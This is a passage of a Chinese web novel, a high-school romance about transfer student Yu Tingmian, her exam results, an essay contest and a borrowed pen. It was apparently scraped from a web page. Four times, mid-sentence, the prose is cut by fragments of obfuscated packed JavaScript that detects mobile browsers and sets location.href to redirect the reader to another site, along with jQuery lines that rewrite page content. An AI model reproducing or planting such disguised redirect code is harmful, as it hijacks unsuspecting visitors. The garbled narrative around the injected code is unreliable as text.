“吃了吃了,都几点了还早,快点收拾收拾准备去考试了。”梁兆兴笑呵呵地回了对方一句,目光在宽敞的教室里扫视一圈,发现还有两个座位空了人。 不用想也知道是空了哪两个小兔崽子。 他皱眉小声嘀咕:“谢惊洛和秦长宇这俩又踩点来?” “报告!”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17059406|194986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 提着两个包子正准备直接进教室的秦长宇见自家班主任站在讲台旁,出于尊师重道的原则他及时刹住了脚步,规规矩矩地喊了声“报告”。 “你还知道来?”梁兆兴瞟了他一眼,视线落在他手中提着的塑料袋上,问道:“你手上拿着的是什么?” 闻言,秦长宇装模作样地将手中的袋子藏在身后,一开口就是眼胡说八道:“我手上拿的?那是一种散发着奇怪气味的面粉和水的混合物。” 梁兆兴:“……” 云城一中虽有规定学生不得带校外的食物进校内食用,但除了那个古板严苛的教导主任,其他老师看在他们学习时间紧张的份上大都是睁一只眼闭一只眼,只要别被教导主任抓到,早餐这种东西带也就让他们带了。 但看秦长宇就这么光明正大提在手上,梁兆兴自己还是有必要说两句:“下次好歹放进包里再带进来,这么光明正大地提着走,要是被抓了你说隔壁二班的才是你班主任,别说是我,我不去领人,丢脸。” 秦长宇比了个OK:“OK的,要真被抓了我绝对不出卖你,咱们逮着隔壁二班班主任坑。” “行了,少贫。”梁兆兴被他逗笑,但面上还是绷着一张脸装严肃,“快进教室收拾东西,快考试了,还有,怎么就你一个?谢惊洛人呢?你俩平时不是一起来的?还是说他天天踩点这次终于迟到了?” 秦长宇:“哪能啊,我迟到他都不会迟到的,他还在后面,应该也快上来了。” 梁兆兴:“行,我知道了,你先进去吧。” 秦长宇进教室后稍微绕了个弯从第三组拐过去,照例将手里的袋子放在了唐思雨的桌面上。 唐思雨没听到秦长宇在门口和老梁的对话,见只有秦长宇一个,她纳闷:“怎么就你一个?洛哥呢?他没来?” 秦长宇:“来了,他在后面。” 她更纳闷了:“你俩怎么没一起上来?” 秦长宇挑眉:“还不是怕你饿死先跑上来了,感动不?还不快感恩戴德。” “……” 唐思雨不是很想理这玩意儿,她送了他一个白眼:“行了吧,也没见你来得有多早。” “啧啧啧,你这人呐,就是忘恩负义。”秦长宇啧啧两声,接着对在一旁看热闹的于听眠说:“看到没听眠妹子,这人啊,坏得很,记得少和她接触,小心哪天就被她套麻袋卖了。” 看戏无辜被点名的于听眠:“……啊?” 怎么还有她的事? 一巴掌把秦长宇拍走后唐思雨三两下解决掉早餐,此时班上已经有不少人起身走动去往各自的考场。 她自己就在本班考试所以并不着急,但见于听眠起身准备往门外走,她忽然想起于听眠是转学过来的,有些不放心道:“眠眠你知道你的考场在哪里吗?” 于听眠:“……?” 她忽然好奇自己在唐思雨眼里是不是一个容易迷路的形象,就这么大点地怎么还能找不到考场呢。 于听眠:“知道的,这栋楼都是高二的,这里是第一考场,那最后一个考场肯定在一楼啊,我能找到的。” “那行,考试加油。” “好哦,你也是。” 简单地相互鼓励了两句后于听眠踏出了教室,但没走两步她又顿住了脚步,回头朝某个靠窗的位置看了一眼。 依旧是空的。 9. “你好” 但有时候不得不说命运总是奇妙的,上一秒于听眠还在想人怎么还没来,下一秒就在楼梯间的拐角处撞上本人了。 谢惊洛表情看上去淡淡的,喜怒不显,头发稍微有些凌乱,书包也没有好好背,而是随意地跨在左肩上,上楼的速度不紧不慢,有一种说不出来的慵懒。 于听眠思考了两秒,觉得出于昨天一起喝奶茶的交情应该打个招呼,于是她脑子一抽开口就是一句:“你好。” …… 她想咬掉自己舌头。 啊啊啊啊啊啊—— 谁家好人打招呼的方式是面无表情说你好的—— 谢惊洛大概也是第一次见那么有特色的打招呼方式,面上的表情罕见地怔愣了一瞬。 于听眠:“……” 好丢脸,好想死。 她脑子飞速旋转,想着是就这样若无其事地走过去还是说点什么挽回一下。 但还未想出个所以然她就看见谢惊洛笑了。 他的笑意直达眼底,如沐春风,似明月照进沟渠,又似柳絮飘落心头。 于听眠怔了神,倏然想起一句诗—— 立如芝兰玉树,笑如朗月入怀。 很适合他。 “早啊,准备去考场?” 呃…… 听见谢惊洛话里同样带着明显的笑意,于听眠想死的心又进了一步,她一时之间不知道该做出什么表情,最后还是保持面无表情但用力地点了点头:“嗯,对。” 好在谢惊洛也准备去考试,并不打算多寒暄,他朝于听眠稍稍颔首:“考试顺利,先走了。” 话中的语气礼貌又带着若有若无的距离感。 “好,你也是。” 谢惊洛自于听眠身旁行过,距离离得有些近了,几乎是擦着衣角而过,恍然间,她似乎又感受到了少年身上那阵清爽的气息。 她回过头看,只见那个高挑的身影消失在了拐弯处,干脆利落。 这里是三楼的楼梯间,往上走至五楼是第一考场,往下走至一楼是最末考场。 身旁的人来来往往吵吵闹闹,都在忙着前往自己的考场,于听眠站立在喧嚣的人群之中,安静地看着少年离开的方向。 她脑海里忽然涌现出一个想法。 假如再努力一点,会不会有一天能和他坐在同一个考场打招呼? 于听眠走进自己的考场,看着黑板上标着的座位号一个个对过去寻找自己的位置,果真是最后一个。 她走过去放好文具袋,又检查了一遍椅子确定完好无损后才坐下。 于听眠抬头看了一眼黑板顶上悬挂着的挂钟,离考试开始还有差不多十五分钟的样子,坐下来后无事干,她便一边在脑海里回想着知识点一边观察着这个考场。 云城一中考试纪律严明,规定无论是什么规模的考试,考生进入考场后必须安静下来,除必要行动外只能待在自己的座位上不得随意走动。 以至于现在考场内安静地针落可闻。 一般这种环境会让人不自觉地心生压力,尤其是坐在正中间的位置更甚,所以于听眠无比喜欢自己现在坐的这个阴暗的小角落,不引人注目,有一种莫名的松弛感。 云城一中将考试和出成绩的时间安排得很紧密,第二天刚考完试,第三天就将成绩表贴在了每班的公式栏上。 刚一下课,就有一堆人围在公示栏前查看自己的成绩,于听眠虽也好奇,但看见那乌泱泱的一群人她顿时又歇了要去看的心思。 算了,不急,过两节课再去看吧,反正成绩单就贴在那里又不会跑。 于听眠边盘算着边在草稿本的空白处三两笔勾勒出一个盘腿而坐双手合十,头上顶着“不急”两个大字的笑眯眯的小人儿。 “眠眠。”从外边回来的唐思雨轻轻拍了一下于听眠的肩,“你在干嘛呀?” 于听眠抬头,露出纸上的小人儿:“我在静心。” 唐思雨:“?” 看不懂。 于听眠笑了笑并没解释,反倒是唐思雨想起了叫她的目的:“对了,我刚刚去看了成绩,顺便帮你看了。” “哇哦?真的吗?谢谢!”于听眠倒是没想到这个,“怎么样?” 唐思雨将一张纸递过去:“每科的分数、班级排名和年级排名都写在上面了,你看。” “好的。”于听眠接过纸张认真看了起来。 班级排名26,年级排名434,整体处于中等水平。 和预计的差不多,在意料之内,甚至比想象中的发挥好点。 除了自己的成绩外,纸上还写着另外两个人的成绩,一个是唐思雨自己的,班级排名第五,另一个是秦长宇的,班级排名第七。 “我们班第二名是谁啊?”于听眠随口问了一句。 唐思雨疑惑:“怎么不问第一?” 于听眠:“……?” 唐思雨:“……?” 于听眠抬头看她:“问问也行。” 转过弯来的唐思雨被自己逗笑,她摆了摆手:“算了算了,大家都懂,还是说第二吧,第二是我们班的学习委员。” 学习委员…… 于听眠皱眉思考。 好像没什么印象。 唐思雨看她的样子就知道她根本不知道学习委员是谁,于是她换了一种说法:“就是语文课代表,身兼学习委员。” 于听眠:“啊,是她啊……” 这么说她就有印象了,前两天发范文的那个女生。 提到语文,唐思雨忽然就来了兴致,她兴冲冲地凑到于听眠身旁,和她一起看着纸张上的数字:“没想到你语文那么厉害!143分哎,谢惊洛也才148,全班语文就你们俩在140以上。” 猝不及防听见自己和谢惊洛的名字在一起被一同称作“你们”,于听眠心脏一紧,心头涌起一股不知由来的雀跃,夹带着一丝慌乱,她不知道这种感觉从何而来,只觉得不能叫人发现,她定了定神,转移了话题。 “其实也就语气还能看一下,其他的都是一团糟。” 说着,于听眠叹了口气,那么多科就语文是完整写完一张试卷的,她都服了自己了。 唐思雨见她叹气以为她是在因为其他几科成绩伤心,连忙安慰:“哎呀,没、没关系的,别难过啊,才开学知识还没回脑子没考好很正常,下次考试一定能升上去的!” “哈哈……”于听眠被她这幅一本正经安慰自己的模样逗笑,也赶忙澄清自己并没有很难过,“我没有难过,这已经考得比我预计的好了。” 虽然确实还是不理想。 “真的吗?” “真的!” 在两人聊天时,各科的课代表已经去办公室把改好的卷子拿了回来,正在逐一发回给大家。 几分钟后,见人都发完了,于听眠开始清点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17059407|194986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自己的试卷,却发现无论怎么数都少了一张。 于听眠疑惑出声:“咦?奇怪?” 唐思雨:“怎么了?” 于听眠放下又点了一遍的试卷:“我少了一张试卷。” “啊?”唐思雨也疑惑了,“不应该啊,少了哪一科的?” 于听眠:“语文的。” “语文?”得知是语文,唐思雨瞬间了然,“那没事了,你的试卷应该是在秋姐手上。” “她拿我试卷做什么?” “大概要看看你是怎么答题的,毕竟143分多难得,你信不信等下节课或者下下节课秋姐就叫你去办公室了?” “真的吗?”于听眠狐疑。 唐思雨笑得狡黠:“不信你看着。” 还真被唐思雨说中了,一下课于听眠就被叫去了办公室,不过中途出了点小小的偏差,叫她去的不是语文老师杨秋心,而是班主任梁兆兴。 唐思雨的眼神语言从“快去”变成了“保佑”。 于听眠:“……” 行吧,也真是信了她的邪。 于听眠一踏进办公室,就看见梁兆兴正拿着成绩表研究,见于听眠进来,朝人点了点头:“听眠是吧?过来吧。” 于听眠走了过去。 梁兆兴也不废话,开门见山说明了找她来的目的:“听眠啊,我这次找你来,是想和你聊聊成绩的事。” “嗯,您说。”于听眠乖巧道。 “是这样的。”梁兆兴扶了扶鼻梁上的眼镜,正色道:“听眠同学,你这次的考试的试卷和分数我都看了一下哈,就是如果让你自己评价,你觉得你这次的成绩考的怎么样?” “嗯……”于听眠斟酌一番,“我觉得……不太理想。” “单看成绩的话可能是不够理想,我看了一下你各科的试卷,发现你的问题主要在于,你的试卷除了语文其他科都没有写完的,这是最大的问题。” 于听眠虚心听教,这确实是她目前最大的问题。 梁兆兴:“但我看了你写了的题,正确率很高,这点是非常不错的,然后我想问一下,这些没写的题目,你是不会呢,还是因为做题慢才没写?” 于听眠:“有些是因为做题慢没写,也有些是因为不会,比如像数学试卷的最后一两道大题这种。” “原来如此,数学最后一两道大题不会很常见,但假如你能保持这正确率,把剩下会的题也写了,你的成绩会有很大的一个提高。” “所以我目前的建议是多刷题,先把做题的速度提上去,至少要在考试规定的时间内能把整张试卷写完,然后剩下的难题咱们再逐一攻克。” 于听眠连连点头:“好的,我明白了。” “当然,你的语文成绩还是很可以的。”说完该说的问题后,该夸的也要夸,“你这次的语文作文满分,看得你们语文老师喜笑颜开,直和我说又挖到了一个好苗子。” “啊……还好吧。”忽然被夸于听眠有点不好意思。 “年轻人,谦虚是好事啊,来,送你几颗糖,拿回去吃,吃完了好好干。”梁兆兴说着,就拉开了抽屉,从一抽屉的糖果里抓了一把放在一张白纸上包起来递给了于听眠。 这操作给于听眠看呆了,直到鼓囊囊的纸包递到面前她才愣愣地接过道谢。 等到走出办公室,她才后知后觉—— 等等,这东西是能收的吗? 10. 报名 于听眠以为事情到这里就该结束了,结果又是一节课间,她上了个厕所回来就被告知语文老师找她去办公室。 唐思雨剥开一颗于听眠给的糖果丢进嘴里,总算是能为自己正名:“看,我就说秋姐要找你过去的吧,刚刚就是被老梁截胡了……嘶,我好像要和你说什么来着,不记得了……算了你先去吧,该记起来的时候总会记起来的。” 于听眠:“……” 好好好。 于听眠下到四楼前往杨秋心的办公室,没想到刚走到门口,就看见了一抹熟悉的身影也在里面。 咦?! 谢惊洛怎么也在?! 她惊讶了一瞬,但转念一想自己都被叫过来了,那人家在这里也很合理。 不过他们好像在说事,那要不要进去呢?还是等人说完了再进去? 于听眠咬了咬下唇,有些纠结,但就是纠结的这么点时间杨秋心就看见了她。 “来了就进来呀听眠同学,怎么一个两个都喜欢站在门口呢?” 听了杨秋心的话,谢惊洛眉梢轻挑,也朝门口的方向看了过去。 于听眠:“……” 她之前还觉得没有什么是比上台自我介绍时全班看向自己的目光更难忍的,现在看来话还是说早了,她现在觉得谢惊洛的目光比那时候的更有实质感,和那种头皮发麻的感觉不同,于听眠总觉得他的目光里带着温度,心脏因此变得炙热。 但于听眠知道,这一切都与谢惊洛无关,只是她的心理作用在作崇。 是她的心脏出了问题。 她装作若无其事的模样走到杨秋心办公桌前,恰好他们的谈话内容也准备告一段落。 “……你先回去吧,比赛的你看着来,有不懂的问题再来找我。”杨秋心拿起谢惊洛的试卷递还给他。 于听眠一靠过来就看见杨秋心桌面上明晃晃摊着两张试卷,一张是自己的,另一张看字迹有点眼熟,但一时半会没想起来是谁的,没想到是谢惊洛的。 那谢惊洛也看到了自己的试卷? 啊这…… 好吧,还好自己之前心血来潮练过字,字虽然飘了点但还不至于见不得人,更何况人家也不一定看见了。 对的,肯定没看见,除了自己谁没事关注别人的试卷?对的,肯定是这样。 于听眠给自己洗脑的能力向来可圈可点,这次她也是成功地说服了自己。 “听眠同学,你这次的语文考的非常不错,作为语文老师的我感到十分欣慰啊。”等谢惊洛走后,杨秋心再次拿起于听眠的卷子前后翻看了一回,眼里是藏不住的满意,“虽然这次考试不是什么正规考试,没什么含金量,但我们老师改卷一样是按照正规考试的规模改的,所以你的满分作文很难得啊,全年级就两个作文满分的,要不要猜猜另一个是谁?” “呃……谢惊洛?” 这好像也不用猜? “果然没什么悬念。”听到这个答案杨秋心也不意外,“这次找你来主要也是因为这个事情,听眠同学,你有兴趣参加‘新青杯’的征文比赛吗?” “新青杯?” 于听眠倒是知道这个比赛,是一项全国性的高校征文比赛,三年一度。 杨秋心:“是的,刚开学那天我已经和同学们讲过了,但那天你还没有来报道,所以单独和你说一下,这个征文比赛是面向全国高校开放的,先是由学校筛选出一定数量的初稿去进行省级的初赛,省级通过后再去参加全国总决赛,这个基本流程你大概了解吗?” 于听眠点头:“大概了解。” 杨秋心继续说道:“因为初稿的报名人数不限,所以如果你对这方面感兴趣的话可以去报名试试,如果能拿奖的话对你以后的升学也有帮助,没拿到奖也不吃亏,你说是不是?” 于听眠:“确实。” 杨秋心将手中的试卷还给于听眠:“其他的也没什么事了,你先回去准备上课吧,报名表在谢惊洛那里,如果你决定好要报名找他填表就行。” 报名表? 于听眠倏然想起自我介绍那天谢惊洛手上拿的纸张。 “好。” 回到教室,离上课还有几分钟,唐思雨见人回来,立即放下手中的单词本兴致冲冲地凑过去八卦:“怎么样,秋姐找你说什么了?语文卷子借我看看作文?” “没说什么。”于听眠干脆地将手上的卷子交了出去,“就是问我对‘新青杯’有没有兴趣,应该是想让我报名。” “噢,那个征文比赛啊,我们班挺多人报名的,我也去报了一个凑凑热闹……”唐思雨话音一顿,霎时间记起来她忘记和于听眠说的事是什么事了,“啊对对对!我刚刚就想和你说这个来着!” 于听眠:“……” 行。 “所以你要报名吗?” “报吧。”于听眠想了想,“确实能不能拿奖都没什么坏处,就当重在参与了。” 杨秋心说报名表在谢惊洛那儿,于听眠理应去找他填表。 只是…… 她看向谢惊洛所在的方向,那个位置正被人里三层外三层地围了个水泄不通,至于被围着的主角谢惊洛,怎么说呢,已经看不见人在哪儿了。 “在看什么呢?”见人一直盯着某个方向看,唐思雨好奇探头。 “我想找谢惊洛填表,不过看样子好像不太能实现。”于听眠说。 “原来你在看这个。”唐思雨倒是对这幅场景见怪不怪,“没事,经常这样,过两节课人就少了,到时候你再去找他填表也行的。” “经常这样?”于听眠有些惊讶,“原来不是一次性的吗?” “不是啊,每次考试发卷子回来都差不多会出现一次这样的场景,有些人是想借谢惊洛的试卷参考一下做题方法或者是向他请教问题,也有些对谢惊洛有意思的女生会借着问问题的方式和他相处,喏,你看那边那几个女生,觉得眼生不?”唐思雨眨了眨眼示意于听眠看过去,“她们还是从隔壁班过来的。” “那个,其实我也没怎么记住我们班人的长相,除了你们三个,剩下能记住长相的应该不超过十个……”于听眠点点手指,有些心虚道。 “啊?”这唐思雨确实没想到,“不是等会儿,亲爱的你来这里都快一个星期了,居然才记住了这么点人?你别告诉我那十个人大部分都是班委?” 于听眠欣慰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17059408|194986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道:“你猜对了亲爱的。” “……” 见唐思雨的表情实在无语,于听眠觉得自己多少还是要解释一下:“你这样想嘛,我第一天下午才来,那时候教室没人,然后第二天确实是见到人了,算一天,接下来第三第四天都在其他班级考试,加上今天满打满算我也就在这个班里呆了一天半,能记得差不多十个人长什么样我已经很厉害了对吧。” “谁教你这么算的?”唐思雨问。 她居然觉得还挺有道理。 于听眠摊手:“不合理吗?” “歪理。” 于听眠笑了笑不再言语,目光重新落回那个被人群簇拥着,似骄阳般耀眼,又似月光般皎洁的少年身上。 即将铃响,人群散去了不少,只余两三个执意要搞懂某道题的同学还停留在谢惊洛身旁,没了人群的遮挡,于听眠能清晰地看到谢惊洛此刻的神情。 是一如既往的温和,面上笑意不变,即使是被他人占据了差不多一整个课间的时间也不见耐心消减。 原是只想再偷看一眼,不料却入了神。 待上课铃声响起,于听眠骤然一惊,仿若大梦初醒般回了神。 回神的于听眠意识到自己刚才干了什么,心咯噔一下,心跳瞬间加速,她连忙低头遮掩,生怕自己刚刚下意识的行为暴露了她内心的想法。 她有些慌忙地看向四周。 好在这时候大家都忙着准备上课,唐思雨也翻开了书本拿着支笔在上面圈圈画画,似乎也没有注意到自己的异样。 呼——还好还好。 于听眠松了口气。 大概是因为心里有着不为人知的想法,一整天下来,除了上课,其余时候于听眠都显得有些心不在焉。 到了放学时间,于听眠没有立刻起身,而是悄悄观察了一下谢惊洛。 少年正半支着额头不紧不慢地翻阅着一本书籍,神情有些散漫,看上去并没要离开的意思。 于是她也放慢了收拾东西的速度。 十分钟后,教室里的人散去了一大半,唐思雨和秦长宇两家今晚有聚餐,所以她也在几分钟前同于听眠道别后和秦长宇一起离去,此刻教室内除了两个当天的值日生就只剩下几个依旧在学习的同学。 人少了环境也安静了不少,只偶尔能听见值日生整理讲台时发出的轻微的碰撞声。 于听眠不自觉地捏了捏手上的书包带,有些踌躇。 好安静啊,就这样直接过去找他会不会显得很突兀啊?会不会有人注意这边?而且他现在好像在专心看书,万一打扰到他会不会很冒犯?但要是等他看完书收拾东西准备走了再去找他会不会更冒犯? 于听眠内心闪过诸多乱七八糟的想法,椅子像是长了钉子般令她坐立不安。 又过了五分钟,她看见谢惊洛停下了翻阅书籍的动作抬眼看了挂钟一眼,然后顺手在当页留下一道折痕,接着合上了书将其放在了一旁的书堆上。 !! 他好像要走了! 于听眠呼吸一顿,不再犹豫,果断扔开书包起身快步走到了谢惊洛面前。 正要收拾东西离开的谢惊洛:“……嗯?” 11. 顺来的笔 “呃,那个……”于听眠面不改色,连声音里也听不出什么浮动,但那背在身后的双手,以及纠结的缠在一起的手指却出卖了她内心的真实情绪。 “‘新青杯’的报名表。” “这个啊。”谢惊洛了然,伸手从桌上的那堆书籍里抽出了一张纸。 于听眠的视线随着他手中的动作移动,最后落在了最上面的那本书上,是他方才在翻阅的书籍。 她终于看清了那本书的真面目。 是一本……呃,童话书? 而且看封面似乎怪眼熟的。 于听眠:……? “在这里填上名字、班级、学号这些就可以了。”谢惊洛将报名表放在了于听眠面前,给她指出注意要项,或许是注意到她没拿笔过来,还另外附上了一支黑笔。 “哦……好的。”于听眠拿起放在报名表上的那只黑笔,发现它比一般的黑笔略重一些,捏在手中很有实感,书写起来很是舒服。 “洛哥——好了没——打球去了——” 就在于听眠低头认真填写自己的信息资料时,教室外冷不丁传来的呼喊声惊得她一颤,手中的笔及时收住才没写错自己的学号。 “别急,慢慢写。” 语毕,谢惊洛对着教室外那几个拿着篮球的男生笑回道:“急什么,等两分钟,今晚我请客。” 有人请客那当然好,男生们顿时喜笑颜开:“好嘞!洛哥您慢慢来,只要您请客,别说两分钟,等您两小时都行!” “是啊是啊,我们球都不打了就在这等您也行!” “只要您买单一切好说!” 谢惊洛早已习惯这群家伙的嘴脸,他哼笑一声道:“滚吧,谁吃得过你们。” 于听眠见过谢惊洛很多次的笑容,与面对于听眠时的温柔绅士不同,和同伴对话的谢惊洛笑容里满是肆意张扬,是于听眠不曾见过的惬意潇洒,更多了一些娴熟,少了一份礼貌疏离。 “怎么了?是有什么问题吗?”见于听眠停下笔不动,谢惊洛以为她遇到了不会填的地方,出声询问道。 “没有。”于听眠轻轻摇头,“刚才一瞬间忘记学号是什么了,现在记起来了。” 说着,她迅速填完剩下的几个空格,将表格交还给谢惊洛,唯恐耽误了对方时间,匆忙道谢后就转身离开。 谢惊洛看了一眼报名表上行云流水的字迹,又抬头看了看那抹匆匆离去的身影,眉梢轻挑,而后收回视线,将报名表压在了那本童话书下,提起背包朝门外等候的那群男生走去。 “洛哥,宇哥去哪了?他今天不一起吗?” “他有事先走了,让我和你们说一声。” “行,那就我们几个打。” “……” “……” 于听眠看着他的身影远去,缓缓地舒了口气,拿过扔在角落里的笔袋继续收拾方才没收拾完的东西。 铅笔、红笔、橡皮擦、记号笔还有黑笔…… 等等—— 这只黑笔怎么看着这么眼生?打哪儿来的? 于听眠拎着那只重量比其他笔稍重一些的黑笔大脑宕机了一瞬。 …… 啊啊啊啊啊—— 这不是谢惊洛的笔吗—— 我怎么把它拿回来了—— 晚饭过后,于听眠钻回房间里盯着桌上那支暗纹精致细腻的黑笔犯了头疼。 唉呀,怎么就把人家的笔顺回来了呢? 不行,她得想一个礼貌又不失尴尬的方法把笔还给人家。 …… 想不到。 算了,事已至此,先写篇日记吧。 日记本被翻到了最新的一页。 2013年9月5日 天气:超级多云 开学考成绩出来咯~ 在班级排26,在年级排434。 emmmm也还行吧……比预计的好一点,不过还是不理想就是了,然后也是被老梁叫去谈话了,最后收获几颗糖。 别说,味道不错哦,早知道问老梁多要两颗了(假的,没那胆子)。 后来下节课下课又被秋姐叫过去了,她问我有没有兴趣参加“新青杯”的征文比赛,我想了想觉得参加了也没坏处,得没得奖都是一种历练,所以就决定报名了。 但找谢惊洛填报名表的时候出了那么一点点小小的意外——我把人家借我填表的笔顺走了。 当我意识到问题十分有十一分的不对劲时,人家已经和小伙伴们快乐地打球去了,只剩下我还留在风中凌乱,风吹过了我的发梢,吹得我的头顶冒出了两个问号。 最后我还是选择了将笔带了回来。 其实有想过要不要直接放在他的桌面上,等他回来就能看见了,神不知鬼不觉的,但又想起明天是周末,要是直接放他桌面上,万一窗户没关好有风吹来把笔吹到地上摔坏了呢? 虽然这概率很小且这个设想有质疑值日生责任感的嫌疑存在,但是万一呢? 所以以防万一还是把笔带回来,在找时间当面还给人家比较保险。 …… …… 哎呀好吧我承认我就是在找借口其实根本不是担心笔摔坏的问题我就是想借这支笔再创造一个可以光明正大和他接触的机会罢了—— 这段话憋着一口气写的,憋死我了。 好了,那现在又有了新的问题了——我为什么要创造一个和他接触的机会呢? 这可真是一个糟糕的问题。 因为…… 我好像喜欢上谢惊洛了。 果然啊。 连答案也是如出一辙的糟糕呢。 于听眠写下最后一段话,拎着笔在指尖转了半天,她总觉得自己好像还有什么想写的但又不知从何下笔。 算了。 于听眠不打算勉强自己,她合上日记本放回原位,又拿起那只黑笔研究了一下,说实话,她是真的喜欢这支笔,无比顺滑流畅的手感对于常写字的人来说无疑是一种致命的吸引力。 能不能买一只同款呢…… 咦? 于听眠眼角余光看见了笔帽上刻着一串小小的英文,大概是这支笔的牌子名。 嗯…… 她乌黑的眼珠子滴溜溜地转了一圈,随后站起身打开房门走了出去。 客厅外,付向晓和于新鹤夫妻俩正靠在一块儿看电视,听见声响,两人一起转头看了一眼,发现是于听眠后又不感兴趣地转了回去。 于听眠:“……” 她深吸了一口气,决定不和这两个有对象的家伙计较,直奔主题:“我去你们房间用一下电脑啊。” “去呗。”付向晓头也不抬地说道。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17059409|194986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>说完,她顿了一下,想起了什么:“要不要给你买一台电脑放你房间里啊,你要上网查资料什么的都比较方便,不用跑来跑去的。” “暂时不用。”于听眠摇头,“我现在也不怎么用,只是偶尔查一下资料,买了放我房间也是当摆设。” 听人这么说,付向晓也不勉强,她点了点头:“行,你需要再和我说。” “okok~” 于听眠进入房间打开电脑,第一时间先把□□挂上,方便及时接受信息。 滴滴—— 刚登上账号,来信的提示音就响了起来,于听眠点开一看,发现是唐思雨的信息,几分钟前发来的。 [思雨:我亲爱的眠眠,吃饭了吗?] [小鲤鱼:刚吃完不久,怎么了吗?] [思雨:是这样的,明天不是周末吗,闲着也是闲着,我们打算去市图书馆自习,你要不要也一起来?] 市图书馆? 于听眠倒是听过这个图书馆,之前想去那边看看,只不过一直没找到合适的时间,而且好像挺远来着。 [小鲤鱼:远吗?] [思雨:唔……] [思雨:不算远吧,坐公交车二十分钟左右就到了。] 二十分钟的车程…… 于听眠悬在键盘上的手攥了攥,思索了一番打字回道: [小鲤鱼:行,那我也去。] 二十分钟感觉还行,只要车上味道不大再带个口罩应该不会太晕车。 [思雨:好耶——] [思雨:那我们四个明天在公交站集合再一起去那边?] 等等—— 四个? 于听眠回头翻了一遍聊天记录,这才发现自己先前注意力都放在了图书馆上,忽略了唐思雨话中的“我们”。 [小鲤鱼:四个?除了我们……还有谁?] 虽然心里隐隐有了答案,但她还是忍不住想确认一下。 [思雨:秦长宇和谢惊洛他们俩啊。] 果然。 [小鲤鱼:好的,那明天几点去?] [思雨:八点半在公交站集合?] [小鲤鱼:行,那明天见~] [思雨:明天见~] 将□□隐藏后,于听眠打开了浏览器,对着黑笔在搜索引擎上输入了那一小串英文。 加载的小圈圈转了一会儿后,电脑上弹出了属于这只黑笔的介绍页面。 然后她就被这只笔的价格吓得当场退出了页面。 于听眠:“……” 她陷入了沉思。 看错了? 不确定,再看一眼。 她又点了回去。 很好,确定了。 这只笔比她都贵。 于听眠盯着那个离谱的价格,觉得冰凉的黑笔霎时间变成了烫手山芋,握在手中的分量都沉甸了几分,她连忙将它往桌上放,放下来后又觉得离边缘太近,于是又把它往里推了推。 于听眠看着它,兀然想起了自己笔袋里的那些与她朝夕相伴的笔,她不由得开始惭愧: 对不起,是我不对,是我心乱了,竟被外面的花花世界迷了眼,碰了壁才想起你们的好,才醒悟过来你们才是我的良人,不,良笔,是我该死,我有罪,此番过后我定会改了,从此守着你们好好过日子。 12. 好诡异 于听眠关了电脑回房,坐回书桌上开始复习今天的功课,刷了三张卷子后她抬头看了一眼闹钟,时针刚巧指向十一点。 于听眠将笔放下,抬起胳膊伸了个懒腰,再发了几分钟呆后她开始收拾东西准备去洗漱。 在整理笔袋时她还很谨慎地把那支浑身上下散发着金钱味道且低调不失奢华的黑笔放在了笔袋最上方。 说比她贵是夸张了,但刮花了人家的笔也确实不好。 洗漱完后,于听眠换上了舒适柔软的睡衣,她打着哈欠来到床边,关掉大灯,打开了床头灯,调了个七点半的闹钟后纵身一跃把自己摔在了床上。 然后被床上的玩偶熊硌到了腰。 于听眠伸手把熊从身下拽了出来,抱着人家一起盖上被子就开始酝酿睡意。 …… 酝酿不出来。 一闭上眼睛脑海里就开始反复排演明天把笔还给人家的一百种姿势和一百种语气,各种乱七八糟的画面像鬼一样死死地缠在她脑子里挥之不去。 于听眠:“……” 这怎么睡啊?! 不行,她得给自己找点助眠的东西。 于听眠翻身坐起,就着床头灯的光线在房内扫视了一圈,寻找能供自己消遣的玩意儿,不一会儿,她的视线就落在了塞满书籍的书柜上。 脑海里排演的小剧场停了下来,不由自主开始浮现出谢惊洛今天下午看的那本童话书的封面。 好像她也有一本来着? 